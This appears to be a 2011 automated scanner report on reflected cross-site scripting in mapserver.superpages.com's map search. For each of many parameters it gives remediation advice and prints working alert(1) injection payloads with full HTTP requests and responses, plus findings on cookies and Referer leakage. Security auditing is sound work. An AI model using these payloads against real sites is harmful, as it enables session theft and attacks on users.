Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the &SRC request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e0186"%3balert(1)//4a2e6a0ce5b was submitted in the &SRC parameter. This input was echoed as e0186";alert(1)//4a2e6a0ce5b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mapbasedsearch/?&SRC=comlocal1ae0186"%3balert(1)//4a2e6a0ce5b&C=banks&L=19101&CS=L&MCBP=true&C=Banks&STYPE=S&PS=15&search=Find+It HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_lastvisit=1296748870245; s_sq=%5B%5BB%5D%5D; SPC=1296748823650-www.superpages.com-30323935-794472; s_dfa=superpagescom; s_pv=Business%20Profile;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=0A0D8557B1084404AFE23DD0AF0AF253; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 16:22:46 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title></title> <meta http ...[SNIP]... window.locale = 'en-us'; var token = "RGBdU6R4GBImcYmepJZCuPc-P0ApKvan6CIRb_VBHpv7BOlE5AlS1J65xSZmZSy3C-3K_wv_hUyFJXQWMj1bvQ2";
var spHeader=false; var cobrand="comlocal1ae0186";alert(1)//4a2e6a0ce5b"; var spYPC=""; var spPGID=""; var spOF=""; var spLid=""; var spBid=""; var spCampaignId=""; var spOnAMap=false; var spC="banks"; var TopMostSW=false; var spMS2=false; var spLid2=""; var spBid2=""; va ...[SNIP]...
The value of the &spheader request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b305f"-alert(1)-"5b1a94486f6 was submitted in the &spheader parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mapbasedsearch/?&spheader=trueb305f"-alert(1)-"5b1a94486f6& HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=78A519C6EB88961EA09FA2CFC9F74D50; __unam=c5114f2-12dec4b1cc4-7f15d273-1; SPC=1296748823650-www.superpages.com-30323935-794472; s_sq=%5B%5BB%5D%5D; s_ppv=100; web=; s_cc=true; s_lastvisit=1296754109045; s_vi=[CS]v1|26A56898051D3E94-40000129001DB9DD[CE]; yp=; s_dfa=superpagescom; spLocalHost=http://mapserver.superpages.com/mapbasedsearch/; shopping=; s.campaign=comlocal1a; s_pv=Maps;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=E5BF135AD9937E6B27515B002A95E5A6; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 19:07:42 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title></title> <meta http ...[SNIP]... = null; // TEST: that this is returning what's expected var spReferer = false; var spDomain = "superpages.com";
var spUrl = "http://mapserver.superpages.com/mapbasedsearch/?&spheader=trueb305f"-alert(1)-"5b1a94486f6&";
var fbRedirectUri = "http://yellowpages.superpages.com/Facebook?prev=map";
The value of the C request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 415ee"%3balert(1)//7f39f412a8d was submitted in the C parameter. This input was echoed as 415ee";alert(1)//7f39f412a8d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mapbasedsearch/?&SRC=comlocal1a&C=banks415ee"%3balert(1)//7f39f412a8d&L=19101&CS=L&MCBP=true&C=Banks&STYPE=S&PS=15&search=Find+It HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_lastvisit=1296748870245; s_sq=%5B%5BB%5D%5D; SPC=1296748823650-www.superpages.com-30323935-794472; s_dfa=superpagescom; s_pv=Business%20Profile;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=C1BB2C6D5F2026531BC42BC6B8F4DFAC; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 16:22:58 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title></title> <meta http ...[SNIP]... yFJXQWMj1bvQ2";
var spHeader=false; var cobrand="comlocal1a"; var spYPC=""; var spPGID=""; var spOF=""; var spLid=""; var spBid=""; var spCampaignId=""; var spOnAMap=false; var spC="banks415ee";alert(1)//7f39f412a8d"; var TopMostSW=false; var spMS2=false; var spLid2=""; var spBid2=""; var spCampaignId2=""; var singleQuery2=""; var spType2=""; var spOnAMap2=null; var spC2=""; var spZoom=4; var spStyle="r"; var spD ...[SNIP]...
The value of the CS request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5aa7"-alert(1)-"e8f7aa23d76 was submitted in the CS parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mapbasedsearch/?&SRC=comlocal1a&C=banks&L=19101&CS=La5aa7"-alert(1)-"e8f7aa23d76&MCBP=true&C=Banks&STYPE=S&PS=15&search=Find+It HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_lastvisit=1296748870245; s_sq=%5B%5BB%5D%5D; SPC=1296748823650-www.superpages.com-30323935-794472; s_dfa=superpagescom; s_pv=Business%20Profile;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=8A6B3D73FBEBC1BA5FD4B23D5F55C05E; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 16:23:29 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title></title> <meta http ...[SNIP]... this is returning what's expected var spReferer = false; var spDomain = "superpages.com";
var spUrl = "http://mapserver.superpages.com/mapbasedsearch/?&SRC=comlocal1a&C=banks&L=19101&CS=La5aa7"-alert(1)-"e8f7aa23d76&MCBP=true&C=Banks&STYPE=S&PS=15&search=Find+It";
var fbRedirectUri = "http://yellowpages.superpages.com/Facebook?prev=map";
The value of the L request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bbefb"%3balert(1)//638e573e1c7 was submitted in the L parameter. This input was echoed as bbefb";alert(1)//638e573e1c7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mapbasedsearch/?&SRC=comlocal1a&C=banks&L=19101bbefb"%3balert(1)//638e573e1c7&CS=L&MCBP=true&C=Banks&STYPE=S&PS=15&search=Find+It HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_lastvisit=1296748870245; s_sq=%5B%5BB%5D%5D; SPC=1296748823650-www.superpages.com-30323935-794472; s_dfa=superpagescom; s_pv=Business%20Profile;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=0455C57151DFDC39EEC6EB920F1CE002; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 16:23:11 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title></title> <meta http ...[SNIP]... S2=false; var spLid2=""; var spBid2=""; var spCampaignId2=""; var singleQuery2=""; var spType2=""; var spOnAMap2=null; var spC2=""; var spZoom=4; var spStyle="r"; var spDD = false; var spAddress="19101bbefb";alert(1)//638e573e1c7"; var spStartAddress=""; var spTraffic = false; var spBeId = false; var spLat = null; var spLon = null; var spStartLocation = true;
var spc_lat = null; var spc_long = null; ...[SNIP]...
The value of the MCBP request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fed48"-alert(1)-"1cd3186e2fd was submitted in the MCBP parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mapbasedsearch/?&SRC=comlocal1a&C=banks&L=19101&CS=L&MCBP=truefed48"-alert(1)-"1cd3186e2fd&C=Banks&STYPE=S&PS=15&search=Find+It HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_lastvisit=1296748870245; s_sq=%5B%5BB%5D%5D; SPC=1296748823650-www.superpages.com-30323935-794472; s_dfa=superpagescom; s_pv=Business%20Profile;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=F434BBA89E81451FADCF2C4BAF96B9DD; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 16:23:42 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title></title> <meta http ...[SNIP]... eturning what's expected var spReferer = false; var spDomain = "superpages.com";
var spUrl = "http://mapserver.superpages.com/mapbasedsearch/?&SRC=comlocal1a&C=banks&L=19101&CS=L&MCBP=truefed48"-alert(1)-"1cd3186e2fd&C=Banks&STYPE=S&PS=15&search=Find+It";
var fbRedirectUri = "http://yellowpages.superpages.com/Facebook?prev=map";
The value of the PS request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 242c7"-alert(1)-"6e00a234b00 was submitted in the PS parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mapbasedsearch/?&SRC=comlocal1a&C=banks&L=19101&CS=L&MCBP=true&C=Banks&STYPE=S&PS=15242c7"-alert(1)-"6e00a234b00&search=Find+It HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_lastvisit=1296748870245; s_sq=%5B%5BB%5D%5D; SPC=1296748823650-www.superpages.com-30323935-794472; s_dfa=superpagescom; s_pv=Business%20Profile;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=9139837C423FB41FB7994B9F30753C27; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 16:24:17 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title></title> <meta http ...[SNIP]... ed var spReferer = false; var spDomain = "superpages.com";
var spUrl = "http://mapserver.superpages.com/mapbasedsearch/?&SRC=comlocal1a&C=banks&L=19101&CS=L&MCBP=true&C=Banks&STYPE=S&PS=15242c7"-alert(1)-"6e00a234b00&search=Find+It";
var fbRedirectUri = "http://yellowpages.superpages.com/Facebook?prev=map";
The value of the SRC request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1e454"%3balert(1)//a5898f77f83 was submitted in the SRC parameter. This input was echoed as 1e454";alert(1)//a5898f77f83 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mapbasedsearch/?&spheader=true&L=&SRC=bpo1e454"%3balert(1)//a5898f77f83 HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=78A519C6EB88961EA09FA2CFC9F74D50; __unam=c5114f2-12dec4b1cc4-7f15d273-1; SPC=1296748823650-www.superpages.com-30323935-794472; s_sq=%5B%5BB%5D%5D; s_ppv=100; web=; s_cc=true; s_lastvisit=1296754109045; s_vi=[CS]v1|26A56898051D3E94-40000129001DB9DD[CE]; yp=; s_dfa=superpagescom; spLocalHost=http://mapserver.superpages.com/mapbasedsearch/; shopping=; s.campaign=comlocal1a; s_pv=Maps;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=117A4533D55B610A1C95579E212D0972; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 19:07:57 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title></title> <meta http ...[SNIP]... window.locale = 'en-us'; var token = "p3QTbbHsCs-eeUFhvWJsTUVffL_Ir8TWNCsd-WpPTj7F6jKZTdTbkF_H-pfUpTkqszv1R7ui7FAHG-ONafiS_w2";
var spHeader=true; var cobrand="bpo1e454";alert(1)//a5898f77f83"; var spYPC=""; var spPGID=""; var spOF=""; var spLid=""; var spBid=""; var spCampaignId=""; var spOnAMap=false; var spC=""; var TopMostSW=false; var spMS2=false; var spLid2=""; var spBid2=""; var spC ...[SNIP]...
The value of the STYPE request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3bc58"-alert(1)-"d4e5aaa0292 was submitted in the STYPE parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mapbasedsearch/?&SRC=comlocal1a&C=banks&L=19101&CS=L&MCBP=true&C=Banks&STYPE=S3bc58"-alert(1)-"d4e5aaa0292&PS=15&search=Find+It HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_lastvisit=1296748870245; s_sq=%5B%5BB%5D%5D; SPC=1296748823650-www.superpages.com-30323935-794472; s_dfa=superpagescom; s_pv=Business%20Profile;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=7AD460510827A183B38F52F6C40DBEE4; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 16:24:05 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title></title> <meta http ...[SNIP]... expected var spReferer = false; var spDomain = "superpages.com";
var spUrl = "http://mapserver.superpages.com/mapbasedsearch/?&SRC=comlocal1a&C=banks&L=19101&CS=L&MCBP=true&C=Banks&STYPE=S3bc58"-alert(1)-"d4e5aaa0292&PS=15&search=Find+It";
var fbRedirectUri = "http://yellowpages.superpages.com/Facebook?prev=map";
var fbClientId = "133515049997773";
</script> ...[SNIP]...
1.10. http://mapserver.superpages.com/mapbasedsearch/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://mapserver.superpages.com
Path:
/mapbasedsearch/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 486fb"-alert(1)-"cf09a8c6088 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mapbasedsearch/?486fb"-alert(1)-"cf09a8c6088=1 HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_lastvisit=1296748870245; s_sq=%5B%5BB%5D%5D; SPC=1296748823650-www.superpages.com-30323935-794472; s_dfa=superpagescom; s_pv=Business%20Profile;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=F0CC14DC558B2EE853A42B486D028978; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 16:23:29 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title></title> <meta http ...[SNIP]... var spc_long = null; // TEST: that this is returning what's expected var spReferer = false; var spDomain = "superpages.com";
var spUrl = "http://mapserver.superpages.com/mapbasedsearch/?486fb"-alert(1)-"cf09a8c6088=1";
var fbRedirectUri = "http://yellowpages.superpages.com/Facebook?prev=map";
The value of the search request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c9334"-alert(1)-"340f60da8f8 was submitted in the search parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mapbasedsearch/?&SRC=comlocal1a&C=banks&L=19101&CS=L&MCBP=true&C=Banks&STYPE=S&PS=15&search=Find+Itc9334"-alert(1)-"340f60da8f8 HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_lastvisit=1296748870245; s_sq=%5B%5BB%5D%5D; SPC=1296748823650-www.superpages.com-30323935-794472; s_dfa=superpagescom; s_pv=Business%20Profile;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=48CA725AE0BF7A03BE6E941C2CF30885; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 16:24:31 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title></title> <meta http ...[SNIP]... ferer = false; var spDomain = "superpages.com";
var spUrl = "http://mapserver.superpages.com/mapbasedsearch/?&SRC=comlocal1a&C=banks&L=19101&CS=L&MCBP=true&C=Banks&STYPE=S&PS=15&search=Find+Itc9334"-alert(1)-"340f60da8f8";
var fbRedirectUri = "http://yellowpages.superpages.com/Facebook?prev=map";
The value of the spheader request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9124c"-alert(1)-"2c2736523e0 was submitted in the spheader parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mapbasedsearch/?spheader=true9124c"-alert(1)-"2c2736523e0&L= HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=78A519C6EB88961EA09FA2CFC9F74D50; __unam=c5114f2-12dec4b1cc4-7f15d273-1; SPC=1296748823650-www.superpages.com-30323935-794472; s_sq=%5B%5BB%5D%5D; s_ppv=100; web=; s_cc=true; s_lastvisit=1296754109045; s_vi=[CS]v1|26A56898051D3E94-40000129001DB9DD[CE]; yp=; s_dfa=superpagescom; spLocalHost=http://mapserver.superpages.com/mapbasedsearch/; shopping=; s.campaign=comlocal1a; s_pv=Maps;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=762E206D0334242828CD0BC99ACC410B; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 19:07:46 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title></title> <meta http ...[SNIP]... = null; // TEST: that this is returning what's expected var spReferer = false; var spDomain = "superpages.com";
var spUrl = "http://mapserver.superpages.com/mapbasedsearch/?spheader=true9124c"-alert(1)-"2c2736523e0&L=";
var fbRedirectUri = "http://yellowpages.superpages.com/Facebook?prev=map";
The value of the FP request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5bf14\'%3balert(1)//32bd7f650df was submitted in the FP parameter. This input was echoed as 5bf14\\';alert(1)//32bd7f650df in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
The value of the a request parameter is copied into the HTML document as plain text between tags. The payload f2f57<script>alert(1)</script>151fa128c48 was submitted in the a parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: Unspecified Content-Length: 637 Date: Thu, 03 Feb 2011 18:57:38 GMT
SP_SearchManager._ApplyResults(1,0,[],[],false,"<div class=message>No 'banksf2f57<script>alert(1)</script>151fa128c48' found on this map.<br><br><div class=solution>Try these solutions<br><br><span cl ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /mapbasedsearch/ HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_cc=true; s_lastvisit=1296748870245; s_sq=%5B%5BB%5D%5D; SPC=1296748823650-www.superpages.com-30323935-794472; s_dfa=superpagescom; s_pv=Business%20Profile;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=DCE60BC274E8A0BE8B8B834710F4C607; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 16:22:18 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title></title> <meta http ...[SNIP]...
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /mapbasedsearch/?&spheader=true&L=&SRC=bpo HTTP/1.1 Host: mapserver.superpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=78A519C6EB88961EA09FA2CFC9F74D50; __unam=c5114f2-12dec4b1cc4-7f15d273-1; SPC=1296748823650-www.superpages.com-30323935-794472; s_sq=%5B%5BB%5D%5D; s_ppv=100; web=; s_cc=true; s_lastvisit=1296754109045; s_vi=[CS]v1|26A56898051D3E94-40000129001DB9DD[CE]; yp=; s_dfa=superpagescom; spLocalHost=http://mapserver.superpages.com/mapbasedsearch/; shopping=; s.campaign=comlocal1a; s_pv=Maps;
Response
HTTP/1.1 200 OK Server: Unspecified Set-Cookie: JSESSIONID=7866CC722B1BFBAF47C85DE99BD77CDC; Path=/mapbasedsearch Set-Cookie: spLocalHost=http://mapserver.superpages.com/mapbasedsearch/ Content-Type: text/html Date: Thu, 03 Feb 2011 19:06:28 GMT Connection: close
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
